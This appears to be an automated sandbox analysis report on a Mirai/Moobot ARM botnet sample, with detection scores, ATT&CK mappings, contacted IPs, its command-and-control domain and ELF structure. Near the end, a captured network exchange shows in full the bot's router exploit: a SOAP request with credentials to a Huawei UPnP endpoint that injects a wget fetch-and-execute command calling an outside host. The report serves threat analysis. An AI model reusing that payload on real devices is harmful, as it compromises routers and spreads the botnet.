Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/6266/cmdline	Jump to behavior

Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6260)

Shell command executed: /bin/sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/bot.arm7-20240324-1846.elf bin/busybox; chmod 777 bin/busybox\\xa4"

Source: bot.arm7-20240324-1846.elf	ReversingLabs: Detection: 63%
Source: bot.arm7-20240324-1846.elf	Virustotal: Detection: 49%			Perma Link

Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6258)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 6290)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 6291)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 6294)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 6299)	Queries kernel information via 'uname':	Jump to behavior

Source: bot.arm7-20240324-1846.elf, 6258.1.00007ffd84a11000.00007ffd84a32000.rw-.sdmp	Binary or memory string: %x86_64/usr/bin/qemu-arm/tmp/bot.arm7-20240324-1846.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bot.arm7-20240324-1846.elf
Source: bot.arm7-20240324-1846.elf, 6258.1.00005614590bf000.000056145920e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: bot.arm7-20240324-1846.elf, 6258.1.00005614590bf000.000056145920e000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: bot.arm7-20240324-1846.elf, 6258.1.00007ffd84a11000.00007ffd84a32000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Source: Yara match	File source: bot.arm7-20240324-1846.elf, type: SAMPLE
Source: Yara match	File source: 6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
bot.arm7-20240324-1846.elf	63%	ReversingLabs	Linux.Trojan.Mirai
bot.arm7-20240324-1846.elf	49%	Virustotal		Browse
bot.arm7-20240324-1846.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	bot.arm7-20240324-1846.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	bot.arm7-20240324-1846.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
41.125.155.178	unknown	South Africa	16637	MTNNS-ASZA	false
49.233.147.201	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
157.25.46.251	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
197.220.165.70	unknown	Ghana	37341	GLOMOBILEGH	false
41.102.150.102	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.163.1.16	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.173.132.123	unknown	South Africa	37168	CELL-CZA	false
96.135.98.167	unknown	United States	7922	COMCAST-7922US	false
41.133.210.227	unknown	South Africa	10474	OPTINETZA	false
220.126.217.113	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.57.40.112	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.51.145.85	unknown	South Africa	37168	CELL-CZA	false
143.90.250.121	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
157.181.230.142	unknown	Hungary	2012	ELTENETELTENETHU	false
106.10.230.77	unknown	Singapore	56173	YAHOO-SG3internetcontentproviderSG	false
157.155.154.29	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
157.112.112.50	unknown	Japan	58793	NIFCLOUD-NETFUJITSUCLOUDTECHNOLOGIESLIMITEDJP	false
197.146.166.236	unknown	Morocco	36884	MAROCCONNECTMA	false
41.76.191.236	unknown	Kenya	37225	NETWIDEZA	false
211.182.132.81	unknown	Korea Republic of	9706	PETISNET-ASBUSANEDUCATIONRESEARCHINFORMATIONCENTERKR	false
157.105.111.80	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.229.61.109	unknown	Tunisia	37717	EL-KhawarizmiTN	false
34.75.156.247	unknown	United States	15169	GOOGLEUS	false
41.219.166.31	unknown	Nigeria	37196	SUDATEL-SENEGALSN	false
197.46.117.91	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.102.123.249	unknown	South Africa	3741	ISZA	false
157.28.126.224	unknown	Italy	8968	BT-ITALIAIT	false
157.145.56.93	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
157.48.138.227	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.179.102.208	unknown	Thailand	15337	WRHARPERUS	false
145.239.41.119	unknown	France	16276	OVHFR	false
157.7.100.11	unknown	Japan	7506	INTERQGMOInternetIncJP	false
197.88.48.7	unknown	South Africa	10474	OPTINETZA	false
197.163.51.145	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.186.243.27	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
114.104.121.210	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.121.175.87	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
197.163.51.139	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.21.53.85	unknown	Tunisia	37693	TUNISIANATN	false
62.175.138.70	unknown	Spain	12357	COMUNITELSPAINES	false
41.126.94.174	unknown	South Africa	16637	MTNNS-ASZA	false
157.4.1.131	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
197.158.15.109	unknown	Mozambique	30619	TDM-ASMZ	false
197.180.168.39	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.89.85.89	unknown	South Africa	10474	OPTINETZA	false
41.239.14.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.108.31.14	unknown	South Africa	37168	CELL-CZA	false
197.12.117.161	unknown	Tunisia	37703	ATLAXTN	false
197.204.125.48	unknown	Algeria	36947	ALGTEL-ASDZ	false
210.210.89.129	unknown	India	9583	SIFY-AS-INSifyLimitedIN	false
107.46.128.10	unknown	United States	16567	NETRIX-16567US	false
41.183.176.209	unknown	South Africa	37028	FNBCONNECTZA	false
197.60.168.22	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.226.239.99	unknown	Mauritius	23889	MauritiusTelecomMU	false
223.215.56.192	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
141.217.125.38	unknown	United States	237	MERIT-AS-14US	false
184.8.201.5	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
157.219.235.171	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.219.254.1	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.230.1.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
197.84.140.146	unknown	South Africa	10474	OPTINETZA	false
197.38.199.154	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.215.252.53	unknown	United States	4704	SANNETRakutenMobileIncJP	false
147.183.7.101	unknown	United States	20141	QTS-SUW1-ATL1US	false
157.254.86.106	unknown	United States	21949	BEANFIELDCA	false
157.47.67.101	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
57.198.150.248	unknown	Belgium	2686	ATGS-MMD-ASUS	false
41.55.86.173	unknown	South Africa	37168	CELL-CZA	false
79.202.131.188	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.10.101.43	unknown	Tunisia	5438	ATI-TN	false
41.152.208.115	unknown	Egypt	36992	ETISALAT-MISREG	false
41.244.252.233	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
157.78.145.31	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
185.169.201.79	unknown	United States	35435	EMITIL	false
157.232.147.207	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.64.49.106	unknown	Egypt	36992	ETISALAT-MISREG	false
111.222.180.32	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
41.40.23.223	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.154	unknown	South Africa	5713	SAIX-NETZA	false
41.23.253.81	unknown	South Africa	29975	VODACOM-ZA	false
41.133.99.116	unknown	South Africa	10474	OPTINETZA	false
141.201.221.174	unknown	Austria	1109	UNI-SALZBURGUniversityofSalzburgAT	false
118.60.32.136	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.142.79.3	unknown	Algeria	36891	ICOSNET-ASDZ	false
194.2.224.18	unknown	France	3215	FranceTelecom-OrangeFR	false
197.112.117.111	unknown	Algeria	36947	ALGTEL-ASDZ	false
80.90.194.59	unknown	United Kingdom	20738	GD-EMEA-DC-LD5GB	false
41.254.158.138	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
157.50.24.89	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.198.160.80	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.109.131.148	unknown	Japan	37919	SEGASEGAHoldingsCoLtdJP	false
157.191.246.68	unknown	United States	394452	MCKINSEY-US-AWPUS	false
157.202.140.51	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
157.235.141.113	unknown	United States	33442	ZEBRA-TECHNOLOGIES-BGP-AS-NUMBERUS	false
197.211.17.78	unknown	Kenya	198247	AD1AE	false
166.201.177.154	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
197.42.24.249	unknown	Egypt	8452	TE-ASTE-ASEG	false
42.234.99.46	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
185.36.22.6	unknown	European Union	43204	CITRIX-ONLINE-EUROPE-ASUS	false
197.108.18.109	unknown	South Africa	37168	CELL-CZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.163.1.16	8i87E84xva.elf	Get hash	malicious	Mirai, Moobot	Browse
	H26Oofw1d8.elf	Get hash	malicious	Mirai	Browse
	YYDFQT2y6l.elf	Get hash	malicious	Mirai	Browse
	qlBLpJzk7k	Get hash	malicious	Mirai	Browse
	mipsel-20220420-0452	Get hash	malicious	Mirai Moobot	Browse
	YisraengBP	Get hash	malicious	Mirai	Browse
197.173.132.123	LzsEp6BIB6.elf	Get hash	malicious	Mirai, Moobot	Browse
197.173.132.123	loligang.x86	Get hash	malicious	Mirai	Browse
41.133.210.227	yPZbrMfM6Y.elf	Get hash	malicious	Mirai, Moobot	Browse
197.220.165.70	KDV0aqMN8z.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	mi2xF8aaxo.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	lK37F4pkUF.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.arm7-20220929-1806.elf	Get hash	malicious	Mirai	Browse
197.57.40.112	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
41.102.150.102	huhu.x86.elf	Get hash	malicious	Mirai	Browse
41.102.150.102	skyljnee.x86_64-20240128-0910.elf	Get hash	malicious	Mirai	Browse
41.51.145.85	ZzmLnfmR0g.elf	Get hash	malicious	Unknown	Browse
	bok.x86	Get hash	malicious	Mirai	Browse
	mips	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
botnet.nguyennghi.info	bot.arm-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	bot.mpsl-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	bot.mips-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	bot.x86_64-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	COWJ55ChOf.elf	Get hash	malicious	Mirai, Moobot	Browse	103.155.81.228
	A07glf5eHQ.elf	Get hash	malicious	Mirai, Moobot	Browse	103.155.81.228

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	SecuriteInfo.com.Unwanted-Program.00587b831.20291.1301.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	SecuriteInfo.com.BScope.Adware.Wews.19872.20433.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	SecuriteInfo.com.FileRepMalware.2614.14343.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	QX.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	AQ.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	QX.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	AQ.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	BKO78694D5.elf	Get hash	malicious	Mirai, Moobot	Browse	115.159.223.138
	SecuriteInfo.com.Trojan.PWS.Siggen2.60328.11377.32540.exe	Get hash	malicious	Unknown	Browse	42.194.152.37
	1.exe	Get hash	malicious	CobaltStrike	Browse	122.51.120.170
MTNNS-ASZA	bot.arm-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	41.125.243.169
	bot.mpsl-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	41.122.250.13
	bot.mips-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	197.73.220.61
	57MarRRXFN.elf	Get hash	malicious	Mirai	Browse	105.177.45.93
	Skz3Za2u6i.elf	Get hash	malicious	Mirai, Moobot	Browse	197.78.70.167
	c5ZcwEAqqA.elf	Get hash	malicious	Mirai, Moobot	Browse	197.64.215.213
	9l2zY4BbAa.elf	Get hash	malicious	Mirai, Moobot	Browse	41.112.220.177
	6NlqBnezcC.elf	Get hash	malicious	Mirai, Moobot	Browse	197.78.48.172
	xycCMtcF29.elf	Get hash	malicious	Mirai, Moobot	Browse	41.113.157.210
	c9agTsZ4l9.elf	Get hash	malicious	Mirai, Moobot	Browse	41.122.162.198
GTSCEGTSCentralEuropeAntelGermanyCZ	bot.x86_64-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	157.25.94.123
	MILTECH_N24032201PDF.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	2Uuy8xXeYj.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.38.198.236
	I9k2Q7HKfO.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.183.111.123
	AMjH2Tev6H.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.183.111.137
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.183.92.8
	e3H1Jz4U36.exe	Get hash	malicious	Azorult	Browse	77.81.2.127
	17109192662254be823aea0b4326a18049df08e3ac182559a9e71b1e6aa45ee52af87518d3248.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	89.37.143.245
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	94.42.225.54
	pu8ZPF7c37.elf	Get hash	malicious	Mirai	Browse	62.168.37.188
GLOMOBILEGH	bot.arm-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.189.32
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	197.220.190.57
	lB9ZXOQaP3.elf	Get hash	malicious	Mirai	Browse	197.220.166.142
	K3k8Tqy0DP.elf	Get hash	malicious	Mirai	Browse	197.220.165.51
	XdH8FFhMcG.elf	Get hash	malicious	Mirai	Browse	197.220.189.38
	mjWHDPStNk.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.166.162
	KDV0aqMN8z.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.165.70
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.166.134
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.166.152
	yJD0izAidI.elf	Get hash	malicious	Mirai, Moobot	Browse	197.220.166.150

Process:	/tmp/bot.arm7-20240324-1846.elf
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.327819531114783
Encrypted:	false
SSDEEP:	3:Tgu/VCTT2l:Tg+VOTC
MD5:	34A1FF253DFCFB12F63005C81BE3A4B1
SHA1:	F428DBF4F6C6A7DFF56C39E79FB6A3A6FD3B498E
SHA-256:	1A4F42CF7A5F87465C96A00D8F8884E3BF386A51C0F3A99795B5DA86832D6E35
SHA-512:	3874677BED937F6D513C093D1B3D51A3940C4C774C557E7CC540B664867D213D86B6E54FFA5671B0EF0664EF3AAEC174F10C36CF0D4710A2FE405AEA59A47110
Malicious:	false
Reputation:	low
Preview:	/tmp/bot.arm7-20240324-1846.elf.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.00343552497459
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	bot.arm7-20240324-1846.elf
File size:	153'008 bytes
MD5:	ccdf82263d66e2e6d2a06467d4d1ef7f
SHA1:	9bcda368d6e53dff8adc2c35648881d6948b33df
SHA256:	a032864f9d2a4554884f5f84b3ef1ff5bf44b71c290be32d7c2fcf844d74c0b9
SHA512:	866229d7308dcb5fc175cd78682a34c2de372f115d65ed69901a5358f1322756e1a2565f5cdc6ff77b6bf6783a417517db9c5da8a143802ce1c3fc9a911e8f7f
SSDEEP:	3072:Hq853Rkp6Ipca3nG6o4bYEl23pk3A+S+v2vJM/9Fdc7:Hq85uoOca3nG6o4MEllQf+v2xM/9M
TLSH:	5FE32A56FA814B13C0D61779B6EF424533239BA493DB73069928BBF43F8679B0E23905
File Content Preview:	.ELF..............(.........4...X.......4. ...(........pPe..P...P... ... ...........................pf..pf..............pf..pf..pf.......3..............tf..tf..tf..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	119384
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x142e4	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1c3d4	0x143d4	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1c3e8	0x143e8	0x2150	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x1e538	0x16538	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1e550	0x16550	0x120	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x26670	0x16670	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x26674	0x16674	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x26674	0x16674	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x26678	0x16678	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2667c	0x1667c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x26680	0x16680	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x26728	0x16728	0x2d4	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x269fc	0x169fc	0x3024	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x169fc	0xbd4	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x175d0	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x17710	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x17923	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x19966	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1a048	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1aec0	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1b178	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1ba42	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1cbd1	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1d129	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1d13f	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1d6e0	0x5480	0x10	0x0		28	776	4
.strtab	STRTAB	0x0	0x22b60	0x2a50	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16550	0x1e550	0x1e550	0x120	0x120	4.5023	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x16670	0x16670	6.1710	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x16670	0x26670	0x26670	0x38c	0x33b0	4.2220	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x16674	0x26674	0x26674	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 24, 2024 19:51:41.853558064 CET	192.168.2.23	8.8.8.8	0x5f45	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:51:57.965722084 CET	192.168.2.23	8.8.8.8	0x5816	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:18.086550951 CET	192.168.2.23	8.8.8.8	0xb2c0	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:33.208600044 CET	192.168.2.23	8.8.8.8	0x6e	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:51.321962118 CET	192.168.2.23	8.8.8.8	0xa6ef	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:09.444762945 CET	192.168.2.23	8.8.8.8	0xc2d8	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:20.562334061 CET	192.168.2.23	8.8.8.8	0x760d	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:31.676201105 CET	192.168.2.23	8.8.8.8	0xc813	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:36.679541111 CET	192.168.2.23	8.8.8.8	0xc813	Standard query (0)	botnet.nguyennghi.info	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 24, 2024 19:51:41.959822893 CET	8.8.8.8	192.168.2.23	0x5f45	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:51:58.077163935 CET	8.8.8.8	192.168.2.23	0x5816	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:18.203279972 CET	8.8.8.8	192.168.2.23	0xb2c0	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:33.315918922 CET	8.8.8.8	192.168.2.23	0x6e	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:52:51.437517881 CET	8.8.8.8	192.168.2.23	0xa6ef	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:09.555289984 CET	8.8.8.8	192.168.2.23	0xc2d8	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:20.668399096 CET	8.8.8.8	192.168.2.23	0x760d	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 24, 2024 19:53:36.800256014 CET	8.8.8.8	192.168.2.23	0xc813	No error (0)	botnet.nguyennghi.info	103.172.79.74	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2024 19:52:19.292171955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
